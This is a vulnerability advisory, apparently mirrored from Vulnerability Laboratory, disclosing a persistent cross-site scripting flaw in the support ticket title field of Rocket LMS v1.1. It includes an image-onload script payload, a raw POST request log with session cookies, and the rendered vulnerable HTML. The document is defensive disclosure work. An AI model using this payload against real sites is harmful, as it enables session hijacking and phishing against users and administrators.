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Rocket LMS 1.1 Cross Site Scripting

Rocket LMS 1.1 Cross Site Scripting
Posted Jan 5, 2022
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

Rocket LMS version 1.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 43ed2c922dd8a039c37f3f9376c26cfd

Rocket LMS 1.1 Cross Site Scripting

Change Mirror Download
Document Title:
Rocket LMS v1.1 - (History) Persistent XSS Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Rocket LMS is an online course marketplace with a pile of features that helps you to run your online education business easily.
This product helps instructors and students to get in touch together and share knowledge. Instructors will be able to create
unlimited video courses, live classes, text courses, projects, quizzes, files, etc and students will be able to use the
educational material and increase their skill level. Rocket LMS is based on real business needs, cultural differences,
advanced user researches so the product covers your business requirements efficiently.

(Copy of the Homepage:https://lms.rocket-soft.org/ )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the Rocket LMS v1.1 cms.

Affected Product(s):
Product: Rocket LMS v1.1 - eLearning Platform CMS (Web-Application)

Vulnerability Disclosure Timeline:
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-12-29: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted Authentication (User Privileges)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the official Rocket LMS v1.1 cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The vulnerability is located in the support ticket message body. The message body does not sanitize the input of message.
Remote attackers with low privileged application user accounts are able to inject own malicious script code with persistent
attack vector. The request method to inject is post. After the inject the message a displayed again for the user and the
backend for the support (admin). The issue can be exploited by organization, student and instructor account roles.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] conversations Support - New Ticket

Vulnerable Input(s):
[+] Subject

Vulnerable Parameter(s):
[+] title

Affected Module(s):
[+] Messages History

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

PoC: Payload
<img src="evil.source" onload="alert(document.domain)"></img>

--- PoC Session Logs (POST) ---
Host: lms.rocket-soft.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Connection: keep-alive
Cookie: webinar_session=eyJpdiI6ImNUeG9hcmFEbXFUSGxZd0NOZ3J6R0E9PSIsInZhbHVlIjoiWXFSOGRXYWFHcUUvc0VuNUpzanhBZjdBc21lRy8xaEhTU0hQTnk2YWlJM1ZHYkxXdzc3
OGM3YzZmNmMzM2Y1OTk5ZTNiZTIzY2E2ZGQxMTlkYzY2YzY0Y2M5OTI5MTc5In0%3D; TawkConnectionTime=0; __tawkuuid=e::lms.rocket-soft.org::W9t6jOO76CukDtw
wAughTc4sTzqsd2xAqZJpiyabjsp3sI9le/SuCBxWz7ekNzR0::2; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6Ik9iUEZFNlZBYjJSOEVjSE1hRlNiZFE9PSIsInZhbHVlIjoiR3F1RWFsb01KREQ2K05FaG5MT1hST1
_token=3CmMP45TwUNoeNVPzZ4JuGunKoFqcUxbDWliz9rg&title=test1"><img src="evil.source" onload=alert(document.domain)></img>&type=course_support&webinar_id=1996&message=test2&attach=
POST: HTTP/1.1 302 Found
Server: Apache/2
X-Powered-By: PHP/7.4.20
YTlmMGJjMThkYzQ0ZjVmNjI0NTA1MGMxM2Q3ZGVlYjlhOGJkZTY3NmM0In0%3D; Max-Age=7200; path=/; httponly; samesite=lax
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: origin, x-requested-with, content-type
Access-Control-Allow-Methods: PUT, GET, POST, DELETE, OPTIONS
Content-Length: 210
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Vulnerable Source: conversations Support - New Ticket - Messages History
<div class="rounded-sm mt-15 border panel-shadow p-15">
<div class="d-flex align-items-center justify-content-between pb-20 border-bottom border-gray300">
<div class="user-inline-avatar d-flex align-items-center">
<div class="avatar">
<img src="/store/995/60dce9eb4290c.png" class="img-cover" alt="">
<div class="ml-10">
<span class="d-block text-dark-blue font-14 font-weight-500">Cameron Schofield</span>
<span class="mt-1 font-12 text-gray d-block">user</span>
<div class="d-flex flex-column align-items-end">
<span class="font-12 text-gray">2021 Sep 9 | 12:58</span>
<p class="text-gray mt-15 font-weight-500 font-14">"<img src="evil.source" onload="alert(document.domain)"></img></p>


Credits & Authors:
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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